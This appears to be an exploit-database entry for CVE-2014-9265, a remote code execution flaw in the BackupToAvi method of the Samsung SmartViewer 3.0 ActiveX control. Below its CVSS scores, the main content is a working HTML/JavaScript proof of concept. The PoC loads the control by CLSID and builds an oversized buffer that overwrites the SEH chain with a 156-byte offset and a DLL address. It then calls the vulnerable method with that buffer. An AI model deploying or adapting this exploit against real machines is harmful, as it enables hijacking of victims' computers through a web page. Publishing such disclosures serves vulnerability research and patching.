Samsung SmartViewer BackupToAvi 3.0 Remote Code Execution

2015.01.20

Credit: Praveen Darshanam

Risk: High

Local: No

Remote: Yes

CVE: CVE-2014-9265

CWE: N/A

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<html>
<!--
Samsung SmartViewer BackupToAvi Remote Code Execution PoC
PoC developed by Praveen Darshanam
 
For more details refer
http://darshanams.blogspot.com
http://blog.disects.com/2015/01/samsung-smartviewer-backuptoavi-remote.html
Original Vulnerability Discovered by rgod
Vulnerable: Samsung SmartViewer 3.0
Tested on Windows 7 Ultimate N SP1
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9265
-->
 
<object classid='clsid:208650B1-3CA1-4406-926D-45F2DBB9C299' id='target' ></object>
<script >
 var payload_length = 15000;
 var arg1=1;
 var arg2=1;
 var arg3=1;
 //blank strings
 var junk = "";
 var buf1 = "";
 var buf2 = "";
 
 //offset to SE is 156, initial analysis using metasploit cyclic pattern
 for (i=0; i<156; i++)
 {
  buf1 += "A";
 }
 var nseh = "DD";
 var seh = "\x87\x10";  //from Vulnerable DLL
 junk = buf1 + nseh + seh;
 
 //remaining buffer
 for (j=0; j<(payload_length-junk.length); j++)
 {
  buf2 += "B";
 }
 //final malicious buffer
 var fbuff = junk + buf2;
 target.BackupToAvi(arg1 ,arg2 ,arg3 ,fbuff);
 
</script>
</html>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Samsung SmartViewer BackupToAvi 3.0 Remote Code Execution

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.